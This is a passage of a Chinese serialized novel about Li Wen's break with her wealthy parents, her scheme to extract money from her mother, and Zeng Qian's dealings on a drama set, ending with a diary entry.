她听杜华年说过,画画的人是最专注的,因为他们都只会沉浸在自己的世界里,也因此,他们通常极端自我,并不能承担责任。所以她一直不相信宋林能有什么大用处,她甚至觉得他的专业还不如他的脸值钱。
可此时此刻,李雯突然就明白了他们存在的意义,她感到自己从来没有像他们一样,在某一个世界里沉浸过。就像一个人在水里,只有把头埋下去,才能游得最好,可是她从来不敢把头埋下去。她从未体会过遗忘整个世界是什么感受,可这一刻,她知道了。
自私也有自私的好,至少不会感觉那么苍白无力,她想。默默擦掉眼角的泪,她得去和人事部的Mary聊一聊,要辞退曾倩那几个同学,赔偿方案怎么做。同时还得重新拟一份合同,聘请宋林工作室里的画师。这件事情甚至引发了她的一个新方案:如果把宋林的工作室变成战略伙伴,签一份紧密合作的合同,或许对未来发展大有益处。
拟完了合同出来,已经夕阳烫金,遍洒金陵。李雯在路边的梧桐树下,看见了诗萍。那一瞬间她闪过一个念头:如果我是林见月那样子的性格就好了,我就可以想不要妈妈,就不要这个妈妈了……
她站着没动,诗萍已经哭过了,走过来抓着她手,“女儿啊!你可怜可怜我吧,你爸爸要让我也搬出去,我的副卡已经被他停了。”
李雯感觉眉头已经皱痛了,手也快被她拽断了,“妈,我怎么可怜你?不如你可怜可怜我?我一个私生女,我能怎么办呢?我有没有叫你跟我搬出来?我跟你说了多少次?”
“我也说了很多次我不同意你搬出去,你为什么不听我的话?”诗萍手一甩,狠狠打在李雯背心,暴然翻脸,质问的声音尖利刺耳。她明明泪眼婆娑,却瞪向她,眼里充满怨毒。
李雯突然挨了一下,疼得差点站不住。她第一次见到这样的诗萍,歇斯底里,眼睛红得能滴血,像一只地狱爬上来的鬼。她颤抖了一下,但又努力稳住,“妈,我今年几岁了?我三十五岁了!我做什么决定为什么还要你同意?你做你的决定,我做我的决定,不行吗?求求你放过我,放过我吧妈,行吗?行吗——!”她也声嘶力竭地喊起来,眼泪涌了出来,渗透她眼下的细纹。
宋林走出来时,看到的正是这一幕,两个女人在马路边拉扯,头发也乱了,妆也花了,包包也扔在了地上。他赶紧小跑过去,先拉住了李雯,李雯一看见他,瞬间脱力,宋林抱住她,轻拍她的背,“别怕,怎么了?”
诗萍看着他们,他从宋林的眼神里看见了一种陌生的感情,是和她见过的所有男人都不一样的眼神。她心里一发狠,冲上去拉开宋林,“就是你吧?就是你图我们家的钱!你说你要多少?只要你消失,你要多少我都给!”
这话一出,宋林立马知道了这是谁,他没接话。李雯看着她的妈妈,怎么会这么陌生?噢!这么多年,原来今天的诗萍才是真正的诗萍。她突然生出了一股冲动,她觉得她三十五年的人生实在都是笑话,她要踏踏实实地出口气,什么气?她也不知道。
李雯转身就走,宋林想追上去,诗萍却拽着他手不依不饶。他没办法,只能眼看着李雯孤身一人,在夕阳漫天下,越走越远。
40. 好歹是个富二代私生女
李雯打车回了别墅,无视大厅里冷嘲热讽的声音,气势汹汹奔进书房找到了她爸李东海,劈头盖脸就问,“我妈是你骗来的吧?既然她都愿意给你当二奶,你为什么还要赶她走?你儿子捅的篓子,和我妈,和我有什么关系?”
李东海鼻尖上挂着老花镜,翻起眼珠子看她,“我骗你妈?她告诉你的?哼,是你妈想骗种吧?当年她可是出了名的捞女,见到有钱少爷就走不动道,我只是倒霉,正好你是我的种。”
虽然李东海在李雯心里算不上亲切,但也不至于低劣至此,让她觉得在和一个地痞瘪三讲话。“爸,你是我爸吗?跟我说这种话?”
“我要怎么跟你讲话,还轮不到你来告诉我。不管怎么说,我也认栽了,这么多年,你们母女吃的用的,我刻薄过吗?在这个家里,你们不是主人一样受人服侍,挥霍我赚的钱?你还要来骑在我头上,教我说话?你要做我老子了?”
李雯没想到从李东海嘴里说出来的,全然是另外一番模样,她质问他,“你说我妈是捞女,就凭你说?”
李东海冷笑,摘掉了老花镜,仰起头看着李雯,“当年你妈怀孕找到我,我本意是叫她打掉,当然我会给她一笔分手费。她偏不。那行,我让她选,如果她生下来做亲子鉴定不是我的,她一分钱都拿不到,但是如果她愿意打掉你,我给她一百万。她够胆气,自己生下你,你刚满月她就来找我做亲子鉴定。你自己去问问她,我有没有说错一个字。”
李雯头顶一凉,一口气差点上不来,眼前的一切都开始模糊,耳朵里全是蜂鸣。她回想自己三十五年的人生,在这个大房子里,每一个人,每一种关系,没有一点不跟利益金钱扯在一起,纠缠不清。她以为诗萍是弱者,可是现在,她什么都不敢确定,真相很重要,可是,真相又好像一点也不重要了。
她最后问了一句,“爸,既然亲子鉴定做了,不管我妈是什么人,你不爱她我理解,可我总是你的女儿吧?你爱过我吗?”
李东海一拍桌子,“你哥现在一屁股债,我都不管他,你想问我要什么?”
李雯彻底绝望了,她一闭眼,咬牙道:“爸,从今天起,你是李东海,我是李雯,我们桥归桥路归路。”
李东海见过想认他做爹的,没见过不要他这个爹的,一时间语塞。李雯已经走出书房,走下楼,穿过客厅,客厅里响起大妈的声音,“你最好别又厚着脸皮回来争遗产!”
她权当没听见。
李雯又一次孤身一人走在大街上,宋林疯狂给她打了一晚上电话,她终于接起来,
“宋林,你愿不愿意帮我?”
……
“我要你去答应我妈,问她要钱,越多越好,拿给我,我有用。”
……
“我要一千万。”
……
“行。千帆过见。”
宋林等在千帆过,是想拒绝她不靠谱的想法,他以为她是和妈妈吵了架,一时急火攻心,劝一劝也就好了。可是当他真正看见李雯站在千帆过的栏杆边,用游魂野鬼形容也不为过,他瞬间感到,拒绝她应该是一件太难的事情。
李雯一坐下,喝了一口茶,“劝我的话别说,说点其他的。”
宋林从她脸上看不到一丝鲜活,他问她,“发生什么了?”
李雯用她一贯的风格,三句话讲完了全部,“我妈当年跟我爸的时候还跟过别人。我正好是我爸的孩子。现在我对他来说没有用处了,所以他打算把我们扫地出门,我就先跟他决裂了。”
宋林看着她,心中异常沉重,这三句话在他听来,每一句都像一个炸弹,他还没有理解消化,可李雯已经开始点菜了。他看着她平静到麻木的脸,觉得这样不行,她应该有一些情绪的,不,她应该爆炸,情绪失控,对他哭,大吼大叫……总而言之,她怎么可以这么平静呢?
直觉告诉他,他必须做点什么,于是他说:“阿雯,你可以哭,也可以冲我发脾气,但你这样憋在心里,我很担心。”
李雯停下来,把菜单交还服务生,“先这样。”然后她往后一靠,低垂着眼看他,用玩世不恭的神情和轻蔑的语气开口,“怎么?我说得不明白?你要真担心我,像你说的那么爱我,照着我的话去做不会吗?”
宋林愣住了,他看着她,这会子终于觉出她就是一个彻头彻尾的富二代,那个瞧不起人也瞧不起自己的样子,不仅伤人伤己,还实在面目可憎。
在两个人的沉默中,菜一道道上来,直到几乎摆不下,宋林皱眉,“点这么多?吃得完吗?”
“怎么了?浪费也不花你的钱。不爱吃就走。”
都是年轻气盛的,宋林忍了两秒,起身就走。李雯看也不看,独自吃了起来。
宋林气得一直走,也不管是哪条街那条巷,直到下起了雨,他还没有停。但雨水浇凉了他的火气,他渐渐停下,抹了一把脸,骂一句,“你就是贱!”,转头又往回走。
回到千帆过,服务生递过来一条干毛巾,他还没来得及擦脸,就直奔三楼,看见李雯的脸颊已经鼓囊囊的像个仓鼠了,还在不停地往嘴里塞食物,桌上七八个菜竟然都吃了一多半。他连忙上前抢走她的筷子,“别吃了,你都撑成什么样了?”
李雯乍一停下来,抬眼瞥他一眼,突然“哇”一声吐了出来,宋林赶忙拍她后背给她顺气。
李雯吐得差不多了,服务员上来收拾,宋林给她倒了杯茶漱口,又用干毛巾给她擦脸。
“你又回来干什么?”李雯还是没好气。
宋林看她还不忘装样,气笑了,“我听你的还不行?但是你也好笑,天下哪有人教唆自己男朋友用离开自己骗自己老妈的钱?嗐,我说出来都嫌乱。”
李雯冷冷地看着他,“我已经没有爸妈了,你不明白,这么多年来,他们除了钱,什么都没给我。我妈除了花钱,什么都没教我。很多年前,杜华年还是何
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芳芳的时候,她就告诉我,我应该做点事,一个人,如果整天只会花钱,是会废掉的。我觉得她说的有道理,我就和她合开了华年工作室。但是,我妈并不同意,她觉得我应该把时间都花在宴会、下午茶、逛街、旅游上,多多去认识和我一样的废物们。我一直以为她是无知,但是今天,我知道,她只是想把我变成下一个她。”
宋林还是用一个男人的理智劝了她一句,“也许这里面有什么误会呢?人生气的时候,总是说话夸张,事实也会错乱。”
李雯愣了几秒,突然笑出声,“宋林,你说这个话,特别像何书桓。”
宋林也愣了,但仔细一想,又好像是真的挺像。
“宋林,你爸妈说的话,哪句真哪句假,你会听不出来?我爸说的话没问题,我就是想了所有的过往,我发现它没问题。再加上今天我妈出现了,她的行为恰恰印证了她确实是我爸说的那种人。”她哽咽,“我必须在滚出这个家之前,想办法要到足够多的钱,因为我从这个家能带走的,只有钱了。”
宋林意识到,他低估了李雯的清醒。于是他问,“你觉得你妈有这么多钱吗?”
“这就不用你管了,只要你按我说的去做,就行。”李雯泪眼朦胧,但眼神坚定,“当年我爸要给她一百万,她不要,现在,我要十倍!”
宋林并没有顺利拿到一千万,诗萍全部私房钱加起来也才五百万,还有一些不动产是她多年来从李东海手里抠出来的,她指望它们保证后半辈子,轻易不敢拿去变现。她还价,问五百万行不行,宋林很动摇,但他知道李雯到这份上是不会罢休的,于是咬死了一定要一千万。
李雯听完宋林的叙述,笑了,“哼,卖女儿还要还个价,我在她心里还不如那几套房子。”
“如果她没按你想的给钱,你怎么办?她现在真的很憔悴。”宋林问。
“憔悴?你可真好骗!你也不看看,她不还住在别墅里吗?放心,她会拿出钱来的,因为对她来说,住在那栋房子里,是她人生最重要的事。”
李雯料到了诗萍不会轻易给钱,但她毕竟是个富二代私生女,下作的手段没听过一千种也见过一百样。她算了算自己的全部积蓄,也就二十来万,先花了五万请了个私家侦探,把诗萍查了个干干净净。看着诗萍名下大小七八套繁华地段的物业,李雯再一次难过到直犯恶心,她的亲娘,明明是一只饿狼,却天天在她跟前演小白兔!她翻到下一页,当场呕出酸水。
诗萍养了个小白脸!
“他娘的!我呸!”李雯吐完一擦嘴,大骂一句。
她望着码头来来去去的红船,夫子庙永远人来人往,夜色秦淮永远艳靡百里,红色的灯笼画出一道道锐利的长线,刻画着秦淮河的灵魂。
她缓了两天,把这些证据交给宋林,让他拿去再跟诗萍见一面。
果然,不过两天,诗萍就卖掉了一套新街口附近的单位,拿出了一千万给宋林。
41. 剪掉头发
连天的梅雨压得人心里分外郁闷,剧组的气氛因此很差。刚刚换到一个新景,在一处小镇上,地处偏僻,河港交错,水系密布。距离杜华年离开已经两周了,李雯曾给她打电话,跟她说起剧组的进度和漫画的进度,甚至说到林见月和宋林的合作,说到她打算敲诗萍的竹杠,打算和李东海决裂,杜华年都只是淡淡的“嗯”一声就算作回答。李雯挂掉电话,叹口气,同曾倩讲,她暂时回不来了。曾倩追问,她总会回来的对吗?李雯默然,又说这不是她第一次这样,但上一次,她就差点回不来了。这次就更说不准了,因为她只问了一句:猫猫最近怎么样?
曾倩感觉自己的后背突然就空了,一阵阵烈风正咆哮着冲她背心追来。
这天好不容易停了雨,拍摄进度异常良好,曾倩偷得浮生半日闲,躲在房车里写新本。男主秦旭的助理又来请假,说是秦旭高烧,可能是流感,害怕传染别人。
曾倩看着头几乎埋进胸口的小助理,一口气“噌”一下窜上来,刚想开口骂人,却又想这真不是个办法,心中自然想到一个问题:如果,杜华年遇到这个情况,她会怎么办?
小助理也不敢催她,就这么诡异地静默了下来,久到小助理已经开始走神,她又毫无预兆猛拍桌板,把小助理吓出了一声惨叫。曾倩急冲冲下了车,“砰”一声大力关上车门,大步流星往片场赶,小助理瑟缩跟在后面。
路过场记组,她抄起凳子上的声公,脚步不停,来到布景中央,打开喇叭就喊,“各部门注意,各部门注意!”她喊得很用力,声音像是砸出去的,人人都停下了手里的活,望着她,就连正在和芊芊说戏的导演都被吓着了,回过味来又抄起手看戏。
“从今天起,我们剧组立个规矩,谁要请假,像我这样,拿着这个大喇叭,站在这里,跟所有人说明请假事由、请假时间,但凡有一个人不同意,就不能批假。谁要是不服气,现在就可以走人!”
导演听她吼完,眼睛一亮,笑得更加意味深长。整个片场鸦雀无声,刘芊芊久久看着她,回不过神来。秦旭感觉被下了面子,撑着笑脸走过来,“大编剧,我生病了,不是故意请假的,我怕传染大家,就请半天,我去医院……”
曾倩一摆手打断他,“你怕传染不戴口罩?还是你想传染我?要不你现在量体温给我看,我给你找个体温枪,大家都看着,如果你撒谎,你就跟所有人道歉。”她说得斩钉截铁,目光尖锐。
秦旭站在原地,全剧组都在看着,进也不是退也不是,尴尬都溢了出来,流进旁边的小河里。
最后还是经纪人出来打哈哈,才把他拉回去。
曾倩走回房车的路上感觉飘飘的,起先是她气急攻心,现在一口气散了之后,许多顾虑一一闪上心头:毕竟秦旭是合作资本送来的,今天算是彻底得罪了,还不知道过后会有怎样的麻烦找上来,更不知道自己担不担待得起。
坐回房车里,她无数次拿起手机想给杜华年打电话,又都忍住了。上回闹了那么大的麻烦,她都不知道李雯是用了什么代价替她稳住了局面,现在是真没脸再去搬救兵。再加上前些天她回工作室和林见月对漫画进度时,在潇湘馆听到了诗萍在工作室门口大闹的八卦……唉!真是谁的日子都不好过。
剧组就是妖怪洞,总不能每次出事都找人帮忙,我总得有自己的办法,可我有什么办法呢?
她有个毛病,一旦着急上火就犯糊涂,脑子怎么都转不起来,想什么也想不清。就在她急得差点淌眼泪的时候,刘芊芊敲响了她的窗子。
“吃饭啦,宝。”芊芊为人江湖气重,曾倩刚拉开门,她一步踏进来,一屁股坐在曾倩对面,“给你整了个猪蹄儿,这家合作的饭店猪蹄做得最好,你信我。”
芊芊给她把盒饭打开,顿时香气四溢,她果然感到饿了,“谢谢你!”
“这算什么事,华年姐那么帮我,她看重你,你就是我朋友,为朋友,没话说。”
曾倩眼底一热,真没想到,这么市井的一句豪言,竟然永远慰藉人心。她吃了两口饭,或许大脑终于得到了一点糖分,突然她想起杜华年去年教过她的,就在甘鹏和冷飞雪那档子事上。她眼一亮,立马计上心头,“芊芊姐,你能不能帮我个忙?”
“你说。”
“咱这个男主角,你了解吗?”
芊芊来送饭的目的正在此,“他们公司要捧的人不止他一个。”
曾倩听到了想要的答案,但她也敏锐地感觉到,芊芊不是来送饭的,是来送这句话的。本着礼尚往来的原则,她问芊芊,“你想要什么?”
“没什么,我就想问,华年姐怎么了?她大半个月都没出现过了,我微信找她,她也没反应。而且这男的我也挺烦他的,没事老作妖,要是你能有办法整整他,我也出口气。”
曾倩是听闻剧组会有男演员借机占女演员便宜的,她看向芊芊,心想她是不是被人揩油了?但芊芊的表情除了一脸嫌弃,就是司空见惯,看不出什么。她大概是在剧组混太久了吧,什么都看得淡了,曾倩想。
“芳……华年姐家里有点私事,回去处理了,可能她还得过阵子才能回来。”
“是不是她老爸过世了?”芊芊问。
曾倩没想到她会猜到,“你怎么知道的?”
芊芊掏出手机找了找,递到她面前,“呐,著名作家、出版家何文谦先生仙逝,文化界深痛哀悼。”
曾倩看着手机上的讣告,眨了眨眼,又眨了眨眼,“你知道她是何文谦的女儿?”
“这,有谁不知道吗?”芊芊睁着惊奇的大眼。
有哇!曾倩想到了慕华。“所以,你知道她的真名?”
“那不知道,”芊芊摇头,“其实我真心佩服华年姐,她就是小说里那种人——我是我,不做谁谁谁的女儿。我要是有这么好的爹,我估计是不会这么有骨气了。”她脸上不无苦涩。
曾倩看着她,她在从一个低位去仰望了一个高位,可是那个高位是她以为的。曾倩想:其实,芳芳姐恐怕根本不会觉得,做何文谦的女儿是什么好事吧。
曾倩当晚就从剧组回了杜华年家,养在阳台的桂花绿叶幽幽,枝繁叶茂,她知道是李雯常来浇水,猫猫也住在了楼上李雯家里。她靠在窗边,从阳台望出去,灯火阑珊。她想起在这里,杜华年哭过,她也哭过;她想起自己埋头写大纲的日夜,想起杜华年陷在沙发里看电影,想起猫猫乌溜溜的大眼睛和灵活的小短腿;还
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有陈姨做的饭,在餐桌,她和杜华年和李雯一起喝过酒……往日的身影似乎还在这里鲜明地生活着,想想也明明没过去多久,可是现在,她甚至不敢上楼去看一眼猫猫,问一句李雯,最近怎么样了?
也不知是为何。
第二天,她在衣柜里挑了半小时,挑出一条血红色连衣裙,画出了凌厉的眉峰,戴了一双墨黑色的美瞳,擦了一支血红色的口红。
背上一只黑色小皮包,一双黑色高跟鞋。她先去了一趟美发店,在发型师无数句不确定的“你确定吗?”里,坚持着,修出了一头凌厉的短发。意外地,很适合她。
她满意地看着镜子,从包里取出一副古铜色复古大耳环戴上,踩着高跟鞋,昂首走出了美发店。
高跟鞋踩在地上,她从每一步的震动里,听到了熟悉的法海敲钵的节奏。
与其煎熬坐等别人来找麻烦,不如我迎上去,直接干掉这个麻烦!
她叫来司机,坐上杜华年的车,来到天地文化所在的写字楼下。她站在咖啡店前,落地窗里映出她全身,成熟了不止一点。她回忆着杜华年曾在这里跟她说的每一句话,做的每一个决定,和每一个决定后的反复思虑与抉择,终于深吸一口气,走进写字楼。
和她见面的,不再是上次的男人,而是一个中年女人,她穿着白色套装,脖子上有一条钻石项链,眉目严肃端庄,法令纹有点深,与她还见年轻的脸并不相配。
“这是我们沈董。”前台小姑娘简单一句,摆好咖啡退了出去。
曾倩微笑着喝咖啡,另一只手握着手机,摆在桌子下,紧张得不断去掰手机背壳的边缘,用尽全力忍住先开口的冲动。
沈董看她姿态,就知道她生涩,笑了,“你就是何……杜华年捧的新人?”
曾倩脑子里不断描摹杜华年的模样,微笑,“承蒙华年姐错爱。我今天来,是想问贵公司的丘泽最近是否有档期?”
沈董沉默片刻,皱眉道:“你想换男主?”
“当然不。现在拍了一半,换男主成本太高了,我还没这么不懂事。只是我们在筹备动画,想要一个演员做动态采集,我们研究了很多人,觉得丘泽这个新人真的不错,很适合动漫里男主角的形象。”
轮到沈董喝咖啡了,她迅速思考了一番,曾倩的用意显而易见,现在组里的男主秦旭是个什么货色她也很清楚,但她并不喜欢打哑谜,“你想资源置换?”
“对。”
“我们还有一个女演员,霏霏,我觉得和你们动漫的女主角很契合,不然女主的动态采集用她吧?”
“可以。”曾倩甚至没有停顿,“他们俩自己有代言在身上吗?”
“丘泽有,霏霏没有。但是我希望你们的动漫推出之后,霏霏能和丘泽有许多合作代言。”
曾倩一笑,眼睛明亮,“如果运气好,可能不用等到推出动漫,他们就会有合体代言了。”
“我就喜欢和聪明人说话。省事。”沈董率先站了起来,伸出手,“合作愉快。”
曾倩也站起来,回握她的手,“合作愉快!”
前台进来送她出去,沈董看着她的背影,似乎可以想象杜华年现在的模样,她微微扬起嘴角。
42. 自顾不暇的三个人
走出写字楼,曾倩又站在了咖啡厅外的落地窗前,她甚至看见了自己微微起伏的胸膛。她手里攥紧包包,走进咖啡厅,要了一杯美式,坐在那天杜华年和她曾在的位置,她以为她会感觉到和上回相同的兴奋,但她没有,她只感到松了一口气,和完成任务后的满足与力量感。
她喝了一口,苦得想哭,于是疯狂加糖。但看着午休时间从写字楼涌出来的白领们,她又觉得心情舒畅,她想:我不能坐吃山空,我需要写更多新本子。这个想法一冒出来,她就惊讶地察觉,这都是杜华年教过她的。她回忆起那些被杜华年鞭挞的画面,自己像个苦工学徒一样,每天除了写写写,就是看看看,每天挨骂,每天emo,emo之后又不服气,爬起来再接着干。
每次一难过,就立刻去想:我还能做些什么,我得做些什么。
“哦!”她叫出声,“在最绝望的时候,尽最大的努力……原来是这样的感觉。”咖啡厅里的人都看着她,但她只是抓起包包,走了出去。
她没有直接奔剧组,而是回到了工作室,了解动漫的筹备进度,也要告诉李雯她和天地文化的新交易。李雯确实在工作室,但她并没有在林见月的工作间里,工作间里也没有宋林。曾倩是在李雯自己的办公室里找到的人,她躺在小沙发上,随便拿了一本书盖住脸,大概是睡着了。
曾倩凑近了,在犹豫要不要揭开书,李雯自己把它拿开了,露出一张煞白的脸,眼下乌青一片。
“你怎么来了?”李雯坐起来,猫猫也从沙发后头钻出一个可爱的狗头,眼汪汪地看着曾倩。
“猫猫也来了?”她伸手摸狗头,猫猫立即迎着她手努力蹭。
“你头发怎么了?什么时候剪的?”李雯看着她,几乎不认识了,但她知道这就是曾倩,也知道,这恐怕不是原来的曾倩了。
曾倩看她,也觉得如此。
“今早上剪的。我去见了天地文化的沈董,和她达成了合作,让他们公司的丘泽来做男主角的动态采集,她要求女主角的动态采集给他们公司霏霏。”她每个字都说得清晰干净,简短,不容置疑,李雯蹙起眉,似乎看见了好久不见的杜华年。
“我现在需要安排营销,把这个新的合作消息尽快散出去,水军要买足,我看漫画的数据一直走高,可以安排沉淀粉丝,再多搞点话题,利用好漫画热度。我还写了个新本子,你看看能卖吗?”
这步步紧逼提要求的模样,真他妈和杜华年一模一样!李雯难以抑制地恍惚起来,她这大半个月来日子过得跌宕起伏,心境一崩再崩,无数次想起和杜华年在千帆过喝酒,无数次又想起,杜华年现在自顾不暇。曾倩这几句,让她差点泪洒当场。
“雯姐?雯姐!能行吧?我这计划不难吧?”曾倩挺着急,抱着猫猫一直撸。
“哦……能是能,”李雯硬拉回思绪,“就是我们和天地文化有合同,有新本子都得先给他们看。至于营销我觉得没问题,你去跟瑜姐提就行。”
“好。”曾倩放下猫猫就要走,李雯却叫住她,“你是想敲打秦旭还是沈董?”
“最好都。”曾倩回过头,眼神里露出十足的野心。
“倩,”李雯走上去扶着她肩,“嗯……你有点着急了,你等我把三千万要到手,我们就不会那么被动了。”
“三千万?什么三千万?你哪来这么多钱?”曾倩转回身。
李雯望着她耳边削尖的发尾,又用三句话把事说完。
曾倩望着她,发怔,不是震惊她这对父母,而是震惊她做的决定。她想起自己年前偷偷卖房,独吞房钱的事,那会子她还很自豪了一阵子,以为自己进行了一场了不得的反抗。可此刻跟李雯一比……简直是小巫见大巫。
曾倩这才开始认真打量她,她从前最爱穿荧光色的外套,夸张的设计,一头齐耳短发却总是柔顺的,透着温柔的光泽。可是也就两周不见,她此刻的头发枯得发涩,也长长了许多,超过了肩膀,穿一件洗成深灰色的黑色卫衣,两只袜子竟然是不同的,连长度都不同。她看着她干得脱皮的脸,“雯姐,你好好洗个澡,再好好吃点东西吧。爹都是靠不住的,我们还是得靠自己。”
李雯愣住了,她没想过有一天,还会有另一个年轻女人跟她说这句话,上次说这话的,是十年前的杜华年,哦不,现在是十一年前了。
曾倩心里想安慰她来着,但似乎说出来又不怎么对劲,于是一拍她手臂,“这样,你等我去跟瑜姐说一声,然后陪你去千帆过喝酒!”
李雯瞪眼挑眉毛,曾倩这话说的,就像杜华年上身一样。但别说,好像她现在有点活过来了,“行。我等你!”
千帆过,猫猫趴在姜老板给她准备的专用垫子上,恹恹的。麻麻不见了,我等她等了很久很久,可是她都没有来接我,我害怕,她是不是不想要我了?可是我做错了什么呢?我很乖啊,我去厕所大小便,我按时吃饭,她忙的时候我不闹,她无聊的时候我闹她,她难过的时候我去给她抱,我不哭也不拆家,她为什么讨厌我了呢?我好想麻麻,我又怕她是不是遇到了什么特别可怕的事,比如被传说中的狼捉去了?还是像隔壁小区的阿花说过的,被关起来不让吃饭?
猫猫躺在垫子上,手脚突然开始刨空气。
所以她没办法来接我。对!一定是这样的,我麻麻现在有危险,她很害怕很无助很痛苦,我得去救她,可是我该去哪里找她?雯姨为什么都不着急呢?这个阿倩小姑娘也是,我麻麻对她这么好,她为什么还在这里和雯姨喝酒?
曾倩以为猫猫做了什么噩梦,伸手摸她的肚子安抚。猫猫挣扎无果,又被摸困了。
“我最近在应付相亲。既然一千万到手了,我装装样子总是要的。”李雯已经有些醉了,酒一下肚,眼泪就会流出来,“宋林是个不懂事的,我不能见他,我妈不是善茬,我不能冒这个险,可他总给我甩脸色耍脾气,老娘哪有空哄他!我还有……大计划呢!”她哭得起劲了,曾倩只能悄悄往她杯子里倒水。
“阿倩!你和老杜是明白人,你们早就明白的道理,我现在才懂。我也不是懂,我是不得不懂……唉!阿倩啊,你说老杜什么时候能回来啊?我真他娘的想她了,她要是在……我会不会好一点?可能也不会……”
曾倩倒水的手抖了抖,她突然也感到无边的疲惫。趁着这个空隙,她打起精神看了一眼热搜榜,瑜姐的营销已经开始蓄势了,明天一早,应该就会有动静,希望杜华年没有颓废到断网罢!她在心里祈祷,希望杜华年看见她的努力,能早点回来。
猫猫忽然翘起尾巴,抬起了头,努力抽动她的小鼻子。嗯?我闻到了麻麻……不,是有人想念我麻麻,除了我,还有谁?哦,是雯姨,还有阿倩小姑娘,她们也想麻麻了,可是她们为什么还在这里?我要提醒她们别等了,该去找麻麻。
猫猫刨着小短腿,努力扒拉着李雯和曾倩,疯狂摇尾巴,用头顶着她们的手和腿,奈何李雯已经醉了,曾倩只以为她饿了,去给她要了一碗羊奶。
唉!算了,没人懂我,只有我最爱麻麻。猫猫喝完了羊奶,奶气上头,睡了过去。
曾倩也逐渐上头,“我不知道我现在做得对不对,芳芳姐在剧组是什么样子?你见过吧?你们都见过,可是我还没来得及见呢……我这样做到底对不对?”
“老杜跟我讲过你妈妈,她还说看了你妈的日记,说你妈妈很爱很爱你,她非常非常羡慕。我也好羡慕你呀!你说都是妈,为什么我妈,唉!她一点都不爱我,她竟然一点都不爱我……她费尽心思嫁给我爸,现在又去养野男人,我爸说的对,她就是个贱种!”李雯的眼泪一滴滴滴进
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了酒杯里,面前的桌面湿了一小滩。
“要是事情被我搞砸了怎么办?我总以为我不会,我就学,人家写一篇,我写十篇,从小我就知道我和她差距大,可是我没想到,差距怎么这么大呀!根本不是会写剧本就行,还要会谈判,会平衡,什么时候给巴掌,什么时候给点恩惠……太难了!真的好难啊——!”
“你真好,你还只有二十岁,青春万岁!青春无敌!”李雯突然双手举高,右手还握着一个空瓶。
曾倩抓起汤里的木勺,哐哐哐砸在桌面,“我妈最大的失败就是生了我!我对不起她!!对不起!!!妈——”她抱着木勺哇哇大哭。
两个人各说各的,最后睡在了千帆过。
一片大雾迷茫,何芳芳拼命睁大双眼,仍旧除了白,什么都看不见。她散漫地走着,不时举起双手看一看,确定自己并没有真的瞎了。听说比起彻底的黑,彻底的白更令人崩溃,黑暗可能是可怕的,但白色会令人从心底深处升上来一种恐怖的自问,撕裂一个人所有的理智。
就好像,日夜开着探照大灯,照着你一个人。
何芳芳尽力保持她的散漫,但显然,谁也扛不住关不掉的探照大灯。于是她逐渐心慌、焦虑、暴躁,最后她开始在大雾里狂奔,奔到筋疲力尽,满头金星,栽倒在地。她闭上眼,喘着粗气,泪水和汗水混在一起划过鬓角,流进耳朵里。她感觉心脏就要炸开了,每一次呼吸间,整个气道直通到肺里,都火辣辣的疼,肌肉不时小面积痉挛,头皮酸麻,用力吸气肋骨生疼,不用力吸气,胸口又闷得像有钝器砸下来。
我真的是老了,她苦笑地喃喃,什么时候惹上了气短的毛病,我自己都不知道。
她禁不住回想起从前少年时,她在操场上奔跑,春天傍晚,隐隐有磅礴之势的春雷和天边聚集的乌云都是上天给她做的布景,西边的夕阳返来大地殷红,道道金红照耀在她脸上,是上天给她打的人物光,她越跑越兴奋,遥望天边劈下的闪电,迎着贴地骤起的狂风,她觉得这个世间只剩下她一个人,这种狂放的豪迈,才足以纾解她灼烧着五脏六腑的灵魂。
十八岁,怎么可能心慌气短?
她骤然觉到将军白头的哀恸,控制不住,嚎啕大哭起来。哭累了,气也顺了,她睁开眼,看见天上竟然出现了一块黑板,左上角的倒计时显示,距离高考,还有1天。
她“噌”一下坐起来,伸手要去触摸,但天如此高远,能摸到什么?
但她已经明白了,这就是个梦。她想不通,之前她无论如何折腾,这个BUG始终卡在几十天,好像上回还剩三十天?怎么地,她回家躺平之后,这倒计时倒是走得起劲了?
这是个什么狗屁道理?她冷哼一声,朝着天骂了一句娘,又躺了回去。
一般而言,只要她知道了自己在做梦,梦境就不再稳定了,她静静等着梦醒来,并自我剖析:看来我是真彷徨了,从来还未做过这种梦,是我的潜意识想告诉我什么呢?难道我真的该去找找心理医生?
医生两个字还没想完,何芳芳睁开了双眼,看见了天花板上福音战士的海报,绫波丽冰蓝色的短发飘在满目血红的硝烟里,但泛白的蓝色提醒她,这是她小学时候在校门口的小卖店,花十块钱买回来的,距今已经二十多年了。
她从巨大的低落里翻身爬起,去摸挂在墙上的衣服,从口袋里摸出了那张透明水晶卡片。她抹了把残泪,似乎明白,自己的梦因何而来。
这一觉她睡了将近二十个小时,此刻饿得双腿发虚,她站起来看着镜子里的自己,眼皮略肿,脸色白腻,双目无光,纵然乌发,却看起来了无生气。
睡前我做了什么?她走了两步又坐在月亮窗台上,靠着上弦月形状的窗棂,看见窗台上放着的华丽娟日记本。哦,睡前,又看了这本日记。
43. 人生好像怎样都是错的
2011年3月17日,星期四,雨
快清明了,又一年,婚仍然没离成。
我这几天不断梦见我的父亲,梦见我小时候,那些场景很破碎,我醒来后也记不清多少。
但我很想哭,觉得心里酸酸的。三月的天候总是长风不断,抽芽新绿的树枝长久地倾倒在风里,缠绵悱恻,总起不来身,好像一种无尽的思绪和思念。
我从愤怒变成了沮丧,这个男人实在让我觉得陌生,和最初认识的他,简直判若两人。但确实是我,曾经和他炽热地相恋,不顾一切地结合。我回忆起来总觉得不敢相信,于是我趁着过年回娘家,翻出了从前许多照片。大学时候的一切,我母亲都替我保管得很好。
这些相片、礼物、情诗……没有哪一样不在告诉我,那就是我。热恋的感受也随之回来,我甚至能听到二十岁时总在悸动的心跳,和永远热烫的脸颊。
我更伤心了,我分明记得,那时的他不是现在这样的。但更令我痛不欲生的,是那时的我,也不是现在这样子!
我感到再也回不去的二十岁,永远抛弃我的青春和理想,我想起心比天高的少女,无限风光的那段岁月。
那天我躲在自己的房间里,看着小时候玩过的皮筋、毽子、明信片,那些五彩斑斓的发圈、憨态可掬的小泥人……我已经是一个母亲了,可是,我还是为我母亲对我的深爱而感到酸楚不已。妈妈呀!您的女儿似乎早已面目全非啦!
我想,这段爱恋已经死了。不是他一人的过错,是我们,都变了。
我第一次开始想一个问题:我的妈妈,会不会也曾像我今夜这样,深切而沉痛地,去缅怀过她的青春、她心头那个曾经的美丽少女?那是一种严肃的,庄重的,哀悼。
